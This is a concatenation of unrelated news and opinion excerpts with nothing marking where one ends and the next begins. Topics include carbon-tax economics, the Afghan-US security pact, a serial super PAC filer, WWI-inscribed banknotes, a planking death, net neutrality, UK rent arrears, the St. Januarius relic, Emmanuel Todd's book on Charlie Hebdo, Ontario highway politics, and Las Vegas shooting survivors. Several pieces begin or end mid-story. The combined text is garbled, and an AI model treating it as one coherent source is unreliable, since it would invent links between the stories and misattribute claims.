This isn’t a groundbreaking finding. Other reports have arrived at the same conclusion, and have found that a revenue-neutral carbon tax would be modestly beneficial for the economy (again, before accounting for the economic benefits of curbing global warming). This is why there’s a consensus among economists that we should be reducing carbon pollution.
Survey results of economists with climate expertise when asked under what circumstances the USA should reduce its carbon emissions. Source: New York University; Economists and Climate Change report.
The Citi report then asks the trillion-dollar question – if tackling global warming is such an economic no-brainer, what are we waiting for?
With a limited differential in the total bill of Action vs Inaction (in fact a saving on an undiscounted basis), potentially enormous liabilities avoided and the simple fact that cleaner air must be preferable to pollution, a very strong “Why would you not?” argument regarding action on climate change begins to form … Coupled with the fact the total spend is similar under both action and inaction, yet the potential liabilities of inaction are enormous, it is hard to argue against a path of action.
Dave Roberts at Vox took a stab at answering that question, and the answer is touched upon in the Citi report:
The clear loser between the scenarios is coal, which sees its total investment bill fall by some $11.5 trillion over the next quarter century. Gas investment also reduces though by a far smaller amount, $3.4 trillion in total
While the global economy would clearly benefit from climate action, it would create “stranded assets” for the fossil fuel industry, because a large percentage of known fossil fuel reserves must be kept in the ground if we’re to avoid dangerous climate change.
Some studies suggest that globally a third of oil reserves, half of gas reserves and over 80% of current coal reserves would have to remain unused from 2010 to 2050 in order to have a chance of meeting the 2°C target.
The fossil fuel industry has extensive influence over many world governments. They hire Merchants of Doubt to spread disinformation and uncertainty about the science and economics of climate change, and spend billions of dollars in campaign contributions to American political candidates in order to delay the low-carbon transition that would benefit the global economy and most people.
The Afghan president has refused to back down on his decision not to sign a key security deal in a meeting with the US national security adviser.
The pact allows thousands of US troops to remain in Afghanistan after 2014.
US envoy Susan Rice told President Hamid Karzai his proposal to delay the signing until after next year's elections was "not viable".
Their meeting came a day after elders at a grand assembly in Kabul called for the deal to be signed this year.
Further assurances
"President Karzai outlined new conditions for signing the agreement and indicated he is not prepared to sign the bilateral security agreement (BSA) promptly," the White House said in statement.
Mr Karzai's office said he used the meeting with the US envoy to ask for further assurances from the US that its forces will not raid Afghan homes, and that it will help start stalled peace talks with the Taliban.
Security deal - main points Jurisdiction: US forces remaining after 2014 reportedly to receive immunity from Afghan courts
US forces remaining after 2014 reportedly to receive immunity from Afghan courts Sovereignty: In October 2013 President Karzai appeared to have secured US agreement not to carry out attacks on Afghan soil without first consulting the Afghan authorities
In October 2013 President Karzai appeared to have secured US agreement not to carry out attacks on Afghan soil without first consulting the Afghan authorities Security: The US in October 2013 said that it would not protect Afghanistan from external attack because it could get mired in a war with Pakistan Loya Jirga: Q&A Pundits divided on Afghan-US pact Why Pakistan fears pullout
He repeated his demand that the US commits to holding free and transparent elections on 5 April.
Also among the terms of his conditions was the return of Afghan citizens held in Guantanamo Bay, according to reports.
Washington insists the deal - which has taken months to negotiate - must be signed before the end of this year in order to secure plans for how many US troops will remain in Afghanistan beyond 2014.
Ms Rice said in Monday's meeting that waiting to sign the deal "would not provide the United States and Nato allies the clarity necessary to plan for a potential post-2014 military presence".
Nor would it give Afghans certainty, she said.
The deal under discussion may see 15,000 foreign troops remain after 2014, although the US says it has not yet taken a decision on any presence.
The soldiers who stay beyond 2014, when most foreign combat forces leave, would primarily train and mentor Afghan forces. Some special forces would stay to conduct "counter-terror operations".
Member of Afghanistan's grand assembly of elders, or Loya Jirga, approved the deal on Sunday.
"The Loya Jirga requests the president to sign the agreement before the end of 2013," a declaration reached at the end of the meeting said.
Opening the assembly on Thursday, Mr Karzai urged delegates to support the pact, but said he would not sign it until after the election scheduled for April 2014.
But “Josh Larose,” usually known to exasperated election regulators as Josue Larose, is neither a seasoned campaign fundraiser nor a billionaire bestowing cash on his favored candidates. His motives are not exactly clear, because despite registering hundreds of super PACs and other political groups since 2010, none of Larose’s groups ever generate a dime.
“It’s hard to understand why he does this,” Larry Noble, general counsel for Campaign Legal Center and a former Federal Election Commission general counsel, said of Larose.
And if Larose has a reason, he isn’t saying: He hung up when the Center for Public Integrity called for comment.
Larose’s chronic super PAC creating has long dumbfounded federal and state election regulators alike. He registers super PACs, forms political parties and even runs for political office. But his efforts come to a halt once he files the required paperwork, although they create bureaucratic headaches for the federal and state commissions charged with regulating campaign finance.
The Florida Elections Commission in 2014 found Larose, who lives in Deerfield, Florida, in violation of 2,052 counts of election law. The charge: dishonestly filling out campaign finance reports.
While leading 331 political committees in Florida and running to be the Sunshine State’s governor in 2010, Larose falsely reported receiving millions of dollars from nonexistent donors, according to records from the Florida Elections Commission.
Among Larose’s other claims: Florida Division of Elections employees attempted to elicit a $10,000 bribe from him.
Larose owes more than $513,000 in fines for his election violations. The Florida Elections Commission declined comment.
Inactive super PACs like those of Larose draw ire from federal regulators, too.
The FEC has ratcheted up its enforcement of zombie super PACs — those that exist on paper but don’t engage in politics. The FEC has the power to “administratively terminate” such inactive groups, and in 2012 it shut down 61 groups run by Larose.
Beyond that, the FEC can’t do much to stop Larose. “We don’t have a lot of authority in this area,” FEC Chairwoman Ann Ravel acknowledged.
Meanwhile, agency staffers must spend time and resources processing his paperwork, tracking his super PACs’ activities and warning him when he fails to comply with various federal requirements.
Super PACs among Larose’s newest batch bear names such as World Professional Judo League, America’s Supermarkets Industry Roundtable and Romanian Chamber of Commerce of America.
In fact, Larose in December created 100 “chamber of commerce” super PACs, all claiming geographic locations in various foreign countries and U.S. states.
Since the Supreme Court’s Citizens United v. FEC decision, anyone can form a super PAC with relative ease.
Farcical political committees have long existed. Among the newest class are Leveraged Pelican PAC, Americans for Crushing It and Empire Strikes PAC.
Dozens of people have also formed fake presidential campaigns, often using ridiculous names or claiming to be those of cartoon or movie characters.
As it stands, anyone — including Larose — can form a super PAC, despite the headache the most inactive ones create for regulators.
“Any waste of resources is a problem,” Noble said. “But he does have a right to do this.”
It appears most of you have enjoyed the past several articles on inscribed currency from my personal collection. The first few have dealt with Civil War-inscribed currency. This month, we will move forward in history, covering the Spanish-American War and World War I. I hope you will find this article equally enjoyable.
While Civil War-inscribed currency is quite scarce, it is far more plentiful than anything from the Spanish-American War (1898-99). The battles took place in Cuba and the Philippines, and very little survives, other than some pretty cool engraved coins that were recovered from sunken Spanish battleships.
However, some years back I was fortunate to pick up something that related nicely to the Spanish-American War. It is a Series of 1896 $1 Silver Certificate (Educational type). Although in pretty nice grade, it had some margin chips and writing on the face, and the dealer who had it didn’t think much of it value-wise. I found it quite appealing. On the face of the note, written vertically, is the following:
“The first Dollar Paid to the 8th Regt. O.V.I. at Wooster, O. Mustered Out, Nov. 21/98.”
The history of the 8th Ohio Volunteer Infantry was easy enough to locate through Internet sources. The regiment was mustered into U.S. service at Camp Bushnell, Columbus, Ohio, March 13, 1898, commanded by Col. Curtis V. Hard. Together with the 6th Massachusetts V.I., the 8th left Newport News, Va. for Cuba aboard the U.S.S. Yale on July 5, arriving in Cuba on the 10. The 8th Ohio then joined other American units surrounding the city of Santiago de Cuba. After a land and sea assault, the city surrendered on July 17, 1898. The 8th Ohio departed Santiago on Aug. 16, arriving at Montauk Point, N.Y. on Aug. 24. The regiment returned to Ohio and was mustered out on.
The first dollar paid out to the regiment on its mustering out and pay day is a very poignant reminder of the service of the valiant 8th Ohio Volunteer Infantry (known as McKinley’s Own) in the Battle of Santiago, Cuba.
Inscribed notes from the American involvement in World War I are also fairly scarce. One reason is that $1 was a lot of money at the time, and many of what inscribed notes may have existed eventually were spent. Another is that the United States entered World War I fairly late; the first American troops landed in France at the end of June 1917, and the war ended on Nov. 11, 1918.
I have found a few interesting ones over the years, and will present them to you now. The inscribed notes are all Series of 1899 $1 Silver Certificates (Black Eagle). The first one is unnamed, but records the soldier’s postings during the war. It is inscribed as follows: “Fool Sector – Lucey Front / Beaumont Seicheprey Operations Aug. 7-8. / Flirey / ST MIHIEL SEPT 12, 1918 / VERDUN ARGONNE- MEUS E Offensive / Nov. 1, 1918 / Beauclair & Beaufort Battle Nov. 3-4.”
Based on these actions, it would appear that the soldier who inscribed the note was part of the 353rd Infantry Regiment, 89th Division, which came under German gas attack at Beaumont-Seicheprey on the Aug. 7-8 and was at Beauclair-Beaufort on the days mentioned.
Another note was preserved because it was the first pay received by a U.S. soldier in France. It is inscribed as follows: “Pay for first days service in U.S. Army Sept. 19, 1918 Received Nov. 11, 1918. Harry Warren Myers.”
I have not been able to trace Harry Warren Myers, but I am sure he could be located through ancestry.com, of which I am not a member.
Another Black Eagle is inscribed on the back as follows: “CARRIED THROUGH THE FIRST WORLD WAR BY PVT. EUGENE IMSWILER / 313 FIELD ART BAT. D AEF.”
This note was inscribed by Eugene Imswiler after the war. I know this because he referred to the war as the “first” world war, and also because the inscription is in ballpoint pen. I gather he did this when he gave the note to a son or grandson. If any readers have access to the records of the 313th Field Artillery Regiment, Battery D, I would appreciate any further information on Imswiler.
The next note I located in a coin shop in Norfolk, Va. It has a nice poignant inscription, so I added it to my collection. It is the only note that is inscribed on both sides, so I have included photos of both sides of the note. On the front, it is written: “Central Officers Training School, Camp Gordon, Ga” Thomas C. Evans, Oct. 7, 1918.”
On the back of the note, Lieut. Evans has inscribed the following: “To My Son – Thomas Tyler Evans – From Your Daddy. This is the First Dollar Received by me as a soldier of the U.S. Enlisted in the World War. Central Officers Training School, Oct. 7 -1918. CAMP GORDON, GA.”
Fort Gordon, formerly known as Camp Gordon, is a U.S. Army installation established in 1917. It is the current home of the U.S. Army Signal Corps and Cyber Center of Excellence and was once the home of The Provost Marshal General School. The fort is located next to Augusta, Ga. to the southwest of the city. The main component of the post is the Advanced Individual Training for Signal Corps military occupational specialties.
Georgia established many war-training camps during World War I. Chamblee, northeast of Atlanta, was selected for one of the state’s largest army cantonments. It was named Camp Gordon in honor of John Brown Gordon, who was a major general in the Confederate army, a Georgia governor, a U.S. senator, and a businessman.
The camp opened in July 1917, becoming a training site and home of the famous 82nd Airborne Division. The division was composed of men from several different states, but men from Georgia made up almost half its number.
The next note is a French note, a five-franc note issue dated Dec. 20, 1916. Written on the back a rather poignant inscription which must have been typical of American soldiers there: “Corporal W. Clifford Brooks, Co. G., 109 US Inf. A.E.F. Somewhere in France / August 23, 1918.”
Again, if any of my readers can provide me with more information on Corp. Brooks, I would be ever so grateful. Please contact me at the email provided at the end of this article.
The following Black Eagle Silver Certificate contains a short but very moving inscription. Although unsigned, it commemorates what all of the soldiers involved in the Great War must have been awaiting, the end of the fighting. Inscribed in careful hand is the following:
“Armistice signed 11-11-1918 at 5:40 A.M. / Hostilities ceased At 11:00 A.M.”
The last note is inscribed on a Series of 1907 Legal Tender (Woodchopper) note. The war had ended, and a member of the 89th Division (presumably) was in rest camp well south of the armistice lines.
“Corp’l. F.L.C. / Charmes La Cote FRANCE / 12/21/18.”
Charmes-la-Cote is a small town in the Meurthe-et-Moselle Department in west central France, due south of Beaumont (see above) and east of Nancy, near the Moselle River.
I hope you have enjoyed these tidbits of history inscribed on currency. While we all like to think about where our old bank notes have been, inscribed notes such as these can tell you exactly what you want to know about where the note has been at some point in its life, and often on a particular day. You can’t get better primary source history than that.
Readers may address questions or comments about this article to Mark Hotz directly by email at markbhotz@aol.com.
This article was originally printed in Bank Note Reporter. >> Subscribe today.
More Collecting Resources
• Order the Standard Catalog of World Paper Money, General Issues to learn about circulating paper money from 14th century China to the mid 20th century.
An Australian man has plunged to his death after taking part in a new internet craze known as 'planking'.
Acton Beale, 20, fell from the balcony of a block of flats in Brisbane, Queensland, after he tried to 'plank' on some railings.
This is thought to be the first time someone has actually died from the growing craze in which people lie face down in an unusual place before taking pictures and uploading them onto the internet.
Acton Beale died after he tried to 'plank' on a balcony in Brisbane, Australia
It is thought that Mr Beale was on his way home after a night out with friends when he decided to try the high-risk move.
Deputy Police Commissioner Ross Barnett confirmed reports that he 'may have fallen while attempting a planking episode'.
Officers were told by witnesses that Mr Beale had been preparing to lie on a balcony rail when he fell to his death. 'He has tragically lost his footing and fallen to the ground below,' said Mr Barnett.
The incident, in Brisbane, Australia, follows the arrest of a 20-year-old man who was found planking on the roof of a police car, also in Queensland.
Risky: Participants taking part in the craze lie face down in a tree
Fun: The craze is seen as harmless by some but police in Australia are getting increasingly concerned as people become more competitive
Furious officers arrested the man and issued a warning that the craze could cause serious injury or harm as people taking part became more and more competitive.
Participants have been photographed lying on railway lines, in the middle of the road, on walls, in trees and in hotel foyers.
'In some circumstances planking can be fairly harmless, but as people become more competitive and try more obscure and difficult episodes of planking - which inevitably lead to greater levels of risk - then we remain concerned that this is the sort of thing that will eventuate and no-one wants to see that,' said Mr Barnett.
Police in Australia have warned that people caught planking on private property will be charged with trespassing or a more serious charge of unauthorised high-risk activity.
Game on: Planking during a game of golf
Warning: Officers in Brisbane, Australia, have said the craze could become more dangerous as people become increasingly competitive
“But I can pay for different speed tiers from my ISP,” you say. Great. Sure. Yes. But that’s the speed you’re buying, and everything you pull down to your browser gets to use as much of that speed as it can.
“But ISPs are talking about fast lanes for the internet. Aren’t fast lanes good for consumers?” Good question. I’m glad you asked. No, you stupid bastard. ISPs aren’t talking about fast lanes for you, they’re talking about fast lanes for corporations. Actually they’re not talking about providing fast lanes for anyone. They’re talking about making corporations pay more to access the speeds they have access to right now, and putting anyone that doesn’t pay into a slow lane like the New Jersey Turnpike on a perfect August beach day.
Trying to eliminate Title II regulation, the mechanism the FCC currently uses to make sure the web is handled like any other vital communication network, is essentially the new FCC Chairman saying “nice Internet you got there — it’d be a shame if something happened to it.”
At this point, you should already support keeping Title II net neutrality regulation but let’s dive deeper just in case.
“I’m real dumb. Like GOP congressperson level stupid. Could you explain why the digital protection racket you describe is bad for musicians?” Holy fuck. Fine. So imagine for a second a musician sells their own digital music — on their website, on Bandcamp, wherever. iTunes is riding in that fast lane. Spotify? Probably. But Bandcamp? The musician’s website? They’re more like a rusty BMX pulling a three-wheeled Radio Flyer wagon over a cracked sidewalk.
When someone buys digital music from an artist directly they’ll see long, slow downloads that hopefully manage to finish. When they stream music from that same musician’s site it’ll hang and pause unless it’s compressed to hell. But when that same person buys from iTunes? Smooth like butter.
Some fans will put up with the frustrating experience of buying direct from an artist because they know it’s better for them, but that’s not everyone. Expect direct-to-fan artist businesses to migrate to iTunes and Google. Without Title II net neutrality the web is just a battle of media titans with musicians caught in the crossfire. Artists who don’t sign everything over to big labels or plan to sell only through the biggest outlets will be hurt. The independent music world will be fundamentally changed. We’ve moved to a digital world. That isn’t going to change. Killing Title II net neutrality makes it even harder for independent musicians to survive in a digital landscape.
I know it’s hard to care about a fight that looks like it’s being fought between big money tech and ISPs. But let me be crystal clear: net neutrality is a vital policy fight that musicians can’t afford to lose. If you are a musician you need to care about it. Your livelihood is at stake.
“It’s like Groupon, but with a twist,” explains WeedMaps founder Justin Hartfield. “We’re not accepting money from end users.” Instead, WeedMaps is offering steep marijuana discounts that are redeemable at participating dispensaries. A typical deal: one Oakland, Calif., outfit called Northstone Organics is offering Casey Jones (a so-called premium strain) at just $199 for an ounce. Most other strains at the dispensary cost $250 an ounce.
Dispensaries don’t get money in advance from users, but there is still incentive for them to participate. If a dispensary offers, say, 50% off a certain product, WeedMaps will shave that amount of money off the price of deploying a Daily Deal. In most regions, WeedMaps charges $995 per month to list a coupon. A 50% off deal would give the dispensary a Daily Deal price of $497.50 for the month.
So far, dispensaries in every region covered by WeedMaps–that would be California, Arizona, Michigan, Nevada, Washington, and Colorado, in case you were hankering for discount bud–have signed up to participate in Daily Deals. The feature only launched this week, but already Hartfield plans to make things even easier for printerless stoners (or those who spaced on their ink refill): Instead of bringing in a coupon, they will be able to instead utter a secret code word provided to them along with the daily deal. It doesn’t get much simpler than that.
Social landlords are expecting a surge in rent arrears, tenant evictions and homelessness as the government pushes ahead with more welfare cuts and changes, according to new research.
The continuing impact of the bedroom tax, together with moves to extend the benefit cap and impose further limits on housing benefit, will put further financial pressure on tenants, predicts a report by consultants Grant Thornton.
It concludes that the ability of councils and housing associations to mitigate growing arrears has been severely eroded, and increasing numbers are issuing possession orders to tenants who have fallen behind with the rent.
Grant Thornton’s survey of English housing associations and local authorities revealed that a majority had seen a rise in average rent arrears over the past two years, with over a fifth reporting a “sharp increase” in eviction notices being served.
Last week, official statistics showed that tenant evictions reached a six-year high in the first three months of 2015. Over the same period, social landlords made 27,000 possession claims – the first stage in the legal process leading to an eviction.
Councils are also feeling the strain of increased evictions in the private rented sector, with 59% reporting an increase in applications for social housing from tenants who had been ejected by private landlords.
The threat of further evictions will rise after a cut in the budget for discretionary housing payments (DHP) from £165m to £125m this year, the report says. DHP grants, which help tenants with rent shortfalls caused by welfare reform, were originally intended as a temporary measure to enable tenants to stay in their home while they got a job or arranged a move to a smaller property.
However, 95% of social landlords surveyed said that most DHP claimants were partly or mostly dependent on the payments to meet rent in the long term. The grants were all that stood between tenants and eviction.
“Any proposed reduction in DHP funding from central government is therefore likely to result in increasing rent arrears and homelessness in the next two years, unless it is compensated by other means,” the report concludes.
Although many councils and housing associations had developed innovative projects to help tenants affected by welfare reform by offering debt counselling or employment advice, these were now under threat from wider funding squeezes.
The bedroom tax has failed to persuade social tenants to move to cheaper homes, the report finds. Social landlords reported that it was “rare” for more than 10% of affected tenants to have moved as a result of the policy, not least because of the national shortage of smaller affordable homes for them to move to.
Four-fifths of local authorities reported an increase in applications for emergency hardship funds available to local residents who face destitution through domestic violence, homelessness, flooding or unexpected financial crises. Four out of 10 councils said they had provided local welfare assistance as a direct result of benefit delays or sanctions.
In February, the coalition U-turned on plans to scrap local welfare assistance funding from April, instead providing £74m for this year. But, if the Conservatives withdraw the funding from 2016, a quarter of authorities said they would be unable to offer any service at all.
The report also warns that councils should not assume that charities can take the strain of providing hardship support. “There is increasing anecdotal evidence that third sector providers, such as food banks, are already at full capacity in some areas,” it says.
The findings are based on a survey of 75 local authorities and housing associations in England, coupled with detailed discussions with senior council and housing officers.
A DWP spokesman said: “This is a small study using data from a minority of local authorities and housing associations, giving a partial picture.
“There are many reasons for evictions and to suggest that they are due to welfare reform is completely misleading.
The archbishop, Cardinal Crescenzio Sepe said, “That’s a sign that Saint Januarius loves Naples and Pope Francis: his blood is half liquefied.”
Francis kissed the relic and played down the “miracle” saying: “If it’s only half liquefied it means that the saint only half loves us. We all need to convert more, so that the saint will be fully pleased.” Minutes later, however, the blood had reportedly reverted to a fully liquid state.
If true, this is the first time that Saint Januarius’ blood has ever liquefied in the presence of a pope, though this phenomenon has occurred on a number of other occasions. Some claim that the event has been occurring “up to 18 times each year for the past 600 years.”
Saint Januarius—or San Gennaro, as he is called in Italian—was an early bishop of Naples beheaded sometime during the persecution of the emperor Diocletian, which ended in 305AD, according to Christian tradition.
The first recorded liquefaction of the saint’s blood was in 1389, when a priest carrying the flasks with the dried blood was processing around the cathedral when he became aware that the contents had begun to liquefy and bubble. Since then the occurrence has become common, normally on days associated with the saint. The Catholic Church has no official position on the so-called miracle, but allows for the veneration of the saint’s relic.
Skeptics of the miraculous nature of the phenomenon have put forward various theories to explain the liquefaction of the blood, such as that the application of heat from the priest’s hands produce the melting of the red substance, but none has gained a consensus of opinion.
When Pope John Paul II visited Naples in November 1990, he went to the cathedral to venerate the relic, but the blood remained in its dried state. The same thing happened with Pope Benedict XVI, who visited in October 2007.
After Saturday’s “miracle,” Pope Francis put aside the papers with his prepared address, and spoke off-the-cuff to the priests and nuns gathered in the cathedral, urging them to “center their lives on Jesus,” and not be attached to worldly things, such as money.
“The devil,” Francis said, “always tempts us to jealousy, envy, infighting and hostility. These things destroy brotherhood and cause us to give a testimony of division,” he said.
Pokémon Damage Calculator
In the past Jake took over the Nugget Bridge Damage Calculator and updated it for VGC 16. However, unlike last season, this season the calculator will be updated with relevant sets throughout the year as the metagame progresses. With this release, the calculator has received some design changes as well as some updated sets for a few Pokémon.
You can access this new release here: http://www.trainertower.com/damagecalc/
Future patches and updates to the calculator will also be made public information as they go live, follow Trainer Tower on Twitter or like our Facebook page to stay up to date.
Pokémon Showdown Usage Stats
Alongside the Damage Calculator, a simple, user-friendly page for usage stats will also be accessible. In conjunction with the Meta Snapshot, which will continue to analyse usage stats from Regional or higher level events, these usage stats should be able to provide a clear picture of the current state of the VGC 17 metagame. These statistics come from Smogon and are also publicly available on their website.
Following the terrorist attacks that struck France in January, four million Frenchmen, in the largest public gathering since the Liberation of Paris, took to the streets under the slogan 'Je Suis Charlie'. It was a rare moment of national unity. Under bipartisan applause at the National Assembly, the socialist Prime Minister Manuel Valls praised “those 17 lives [who] were faces of France and symbols of freedom of speech, the vitality of our democracy, of the republican order, of our institutions, of tolerance, of secularism.” Leaders from all around the world gathered in Paris to express their support.
But it was all a “sham” says Emmanuel Todd, a French left-wing intellectual whose essay “Who is Charlie?” a controversial bestseller in France, was recently translated into English. For Todd, the event that truly demands study did not take place on January 7th, the date of the massacre of the Charlie Hebdo staff, or on January 9th with the anti-Semitic murders at Hyper Cacher. It is rather the “hysteria,” a totalitarian unanimity that Todd says is comparable to the Spanish Inquisition, which seized France during the massive marches of January 11.
Todd, we are told, is a sociologist. Where other people see rational actors making decisions, he supposedly unveils the true social forces moving unwitting participants. The French thought they were marching to express their solidarity with the victims and their commitment to republican principles such as freedom of speech. Basing his study on maps of the protest across the country, Todd claims instead the 4 millions demonstrators were actually unconscious agents of a dominating, but declining, class: white, bourgeois, formerly Catholic, defending their contested power by advocating for abused pseudo-universal values like secularism. The region where the marches were the most numerous, says Todd, are historically those that fought secularism the most, regions with residual (“zombie”) Catholicism and inegalitarian family structures. The true motivation, Todd says, was Islamophobia. “Focusing on Islam reveals in reality a pathological need by the middle and superior classes to hate someone or something,” Todd writes. Protesters were “sacralising the symbolic violence targeted at a minority religion."
The legacy of Charlie Hebdo is not taken lightly in France. Soon after the book’s publication, Valls himself reacted in an op-ed denouncing Todd’s “pessimism” and “intellectuals who have stopped believing in France”. In response, Todd upped the rhetoric and compared Valls to Maréchal Pétain, the collaborationist leader of Vichy France … 'Je Suis Charlie' is nothing short of crypto-fascist and, as Todd darkly adds: “it is impossible to answer with certainty: does Charlie correspond to France’s darkest hours?”.
Todd’s essay is a spectacular example of how pure conspiracy theory can masquerade as science when it is accompanied by confusing jargon, data or maps. In Le Monde, two prominent sociologists, Vincent Tiberj and Nonna Mayer, debunked Todd’s “simplistic” views, quoting polls that lead to exactly opposite conclusions. When Todd bases his analysis on maps of geographical distribution of the marches (discounting people who might have gone to a larger city to protest for example), the sociologists reveal that the likelihood to participate was greater among people with immigrant backgrounds, and least likely among extreme-right supporters.
Besides, the idea that Charlie Hebdo was obsessed with Islam has also long been refuted. Between 2005 and 2015, religion has only occupied 7 percent of the weekly’s front page, with Christianity mocked three times more often than Islam. Just last week, the paper stirred a new controversy with its comparison of Nadine Morano, a conservative politician figure, to a child with Down syndrome.
But this hardly matters. The debate the book stirred can’t be explained by its extended study of resilient Catholicism in France or of family structures to explain different political models across Europe. Todd’s real argument lies elsewhere and is entirely ideological. “The right to blasphemy on one’s own religion should not confused with the right to blasphemy on someone else’s religion, particularly in the difficult socio-economic context of today’s French society: repetitive, systematic blasphemy on Mahomet, central figure of the religion of a weak and discriminated-against group, should be, whatever tribunals say, considered as inciting to religious, ethnic or racial hatred," he writes.
Todd provides pseudo-scientific cover to those that have always felt uncomfortable siding with the Charlie cartoonists, like the members of the PEN jury who protested the award given to the paper in May. Mostly received as a provocative stunt from a professional contrarian, Who is Charlie? is nonetheless an extreme example of a part of the left’s willingness to forego its liberal and secular principles when it comes to talking about Islam. Because immigrant populations are economically disenfranchised, raising the question of anti-Semitism or extremism among the ranks of a minority of them can only be racist, a tool of oppression. The book thus proceeds in a constant and methodical reversal of realities. Islamophobia is the cause of terrorism. 'Je Suis Charlie' demonstrators can be indirectly blamed for the rise of anti-Semitism because they contribute to this Islamophobia. Islamic extremism is a reaction to economic exclusion, the same way Scottish nationalism among young Scots stems from David Cameron’s austerity policies!
The Canadian Press
DUNDAS, Ont. - Ontario's Progressive Conservative leader said Saturday he wants to end Premier Dalton McGuinty's "war on the car," invoking a phrase from the successful election campaign of Toronto's right-leaning mayor.
Tim Hudak spent Saturday in the Hamilton and Niagara areas, where he said if he is premier after Thursday's election he will make sure a highway is constructed through the region.
"A good highway route like that would not only create jobs in building it, but most importantly will attract new businesses to our area and help to break the gridlock, because families are spending far too much time stuck in their cars and not home with the kids," Hudak said.
There is some opposition to the project from local residents, who worry the highway would negatively impact environmentally sensitive areas. Susan McMaster, co-chair of the group Citizens Opposed to Paving the Escarpment, sought Hudak out as he popped into businesses in downtown Dundas, Ont. She said the highway isn't needed for the area and is an "utter waste of money."
"At this point we need our food supply. We don't need this highway," McMaster said after Hudak walked away. "We're talking about some of the last viable farmland in the area and they want to pave right through it."
Hudak later defended his plan.
"There's some people who don't want to build highways in our province. I do," Hudak said.
He has previously said the exact location of the highway would have to be determined through public hearings and consultations with communities, though he said it will probably start along the Queen Elizabeth Way outside of Fort Erie, Ont., heading west, south of the Niagara escarpment, toward the Hamilton airport.
The Liberals shelved plans for a mid-peninsula highway last year after a Ministry of Transportation study said the four-lane expressway wouldn't be needed for at least another 20 years.
An alternate route to the QEW from Niagara to Hamilton has been talked about for decades and was last championed by former Conservative premier Mike Harris, but fell out of favour when the Liberals were elected in 2003.
The New Democrats say to ease traffic congestion they prefer "immediate" solutions such as expanding the QEW and speeding up the instalment of HOV lanes in Niagara. They say they want to complete a full environmental assessment before making a decision about the highway.
"What a full process does is determine what all of the options are," leader Andrea Horwath said in Brantford, Ont. "That's, I think, a better way to go instead of saying automatically, 'It's going to be this."'
The Liberals are contrasting Hudak's talk of highways and a war on cars with their plan to implement all-day GO train service. The Liberal incumbent for the Ancaster-Dundas-Flamborough-Westdale riding said Hudak doesn't understand the needs of Hamilton and the surrounding area.
"He calls it the war on the car ... we don't see it that way and neither do Hamilton city council or anybody else with progressive ideas," Ted McMeekin said in an interview. "The idea is to get cars off the road and to make transit efficient and effective and you do that by making it more available to people."
Hudak said a plan to build the highway is part of an overall strategy to ease congestion on Ontario's major roads.
"We've set aside $35 billion for infrastructure investments, largely targeted at breaking gridlock and helping families spend more time together, getting goods to market," he said. "It's a balanced plan. So yes, it's highways, yes it's transit. We've got to get the right balance and we need to end the war on the car that we've seen from the McGuinty Liberals."
The phrase "war on cars" will sound familiar to voters in Toronto, where Mayor Rob Ford was swept to victory last year on a campaign that included issues targeted at commuter and suburban communities. He, too, pledged to end a war on cars.
The conservative-minded Ford has decided not to endorse any party in the Ontario election. The mayor threw his support and the weight of what he calls "Ford Nation" behind Prime Minister Stephen Harper just days before the federal vote in May.
The lack of an official endorsement from Ford may prove a saving grace for Hudak, as polls suggest Ford's strong approval ratings have been slipping and he has been pilloried over potential cuts to services and programs. Ford did not say why he's not wading into this campaign.
The world's human population now exceeds 7.5 billion, but all those people are not distributed evenly over the available land. For instance, fewer humans live in deserts than along coastlines, and more people live in cities than in rural areas. You get the idea. But what might come as a surprise is that there is one geographical area on a two-dimensional map about 5,000 miles (8,000 kilometers) in diameter where over half of us live.
This is actually nothing new.
It's thought that in the year 1000, human population distribution looked very much the same as it does today, with most people hanging out in relatively small geographical areas in Asia — although the continent's population was less than 300 million instead of more than 4 billion, as it is today.
But in 2013, a Reddit user called "valeriepieris" created a visual that took the internet by storm. Valeriepieris, a teacher named Ken Myers, observed and verified that more people live inside a circle comprising 21 nations — including China, India and Southeast Asian countries — than live outside it. Not only does the circle account for just a sixth of the world's landmass and include Mongolia, one of the most sparsely populated countries in the world, but it is also mostly covered in water.
The Valeriepieris circle made a splash on Reddit and was picked up by multiple news outlets, including The Washington Post in its article "40 maps that explain the world." But how accurate is Myers' projection?
Nov. 25, 2017, 9:22 PM GMT / Updated Nov. 25, 2017, 9:22 PM GMT By Associated Press and Yelena Dzhanova
A man who survived the Oct. 1 mass shooting that killed 58 concertgoers and injured hundreds in Las Vegas has been killed in a hit-and-run in southern Nevada.
Roy McClellan, who survived the Las Vegas shooting, has been killed in a road accident. Coates, Morgan (206549162)
Roy McClellan of Las Vegas was killed Nov. 17 while hitchhiking on State Route 160 in Pahrump, about 50 miles west of Las Vegas.
His widow, Denise McClellan, told NBC affiliate KSNV she can't understand why her 52-year-old husband survived the shooting, only to die in a hit-and-run. She says the mass shooting "was messing with his head" and that he was undergoing therapy.
The Nevada Highway Patrol says it is seeking the driver of a Chevrolet Camaro with front-end damage.
On Oct. 30, a married couple from California died in a car crash after having survived the massacre a few weeks earlier.
Dennis and Lorraine Carver Family photo / via NBC News
While driving, Dennis and Lorraine Carver collided into a metal gate and their car burst into flames near their home.
In a public Facebook post, their eldest daughter Brooke explained how heartbroken she and her younger sister are because of the death of their parents.
"It's hard to see Gods plan right now and how this was all part of it, but through the support of family and friends we have been pushing through," she wrote. "Thank you to everyone who brought happiness to my parents lives, they were the most grateful, generous, and strong people, and we know they are looking down on us guiding us from above."
The school is hosting a symposium on gay topics that at one point included a lecture titled, “How to be a lesbian in 10 days or less.” The event comes a month after the House of Representatives cut $17,142 from USC Upstate’s budget for assigning freshmen to read an essay book on coming out gay in the South.
At least three state senators said Friday they are upset about USC Upstate’s gay-themed programming. They vow to not only keep the House’s cut but also slash more from the school’s budget next year.
“If they’ve got extra money sitting around to promote perversion, obviously they’ve got more money than they really need,” said S.C. Sen. Kevin Bryant, an Anderson Republican who sits on the Senate budget-writing committee.
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The symposium was planned a year ago – long before lawmakers took aim at the 5,400-student school, said Clif Flynn, associate vice chancellor academic affairs for the university.
The conference cost about $11,500, said Reid Toth, the school’s department chairwoman of sociology, criminal justice, and women’s studies. About $5,000 was paid by the school and $6,500 was covered by private grants, she said.
The House funding cut, approved last month, was based on the cost of the reading program that assigned “Out Loud: The Best of Rainbow Radio” in the fall. The House also trimmed $52,000 from the College of Charleston for assigning freshmen another gay-themed book “Fun Home.”
Senators are weighing the state’s $24 billion budget now.
“I think it’s time that these institutions be held accountable,” Sen. Lee Bright, R-Spartanburg, said.
Bright, who is running for the U.S. senate, said many people in Spartanburg are upset about the activities on the USC Upstate campus.
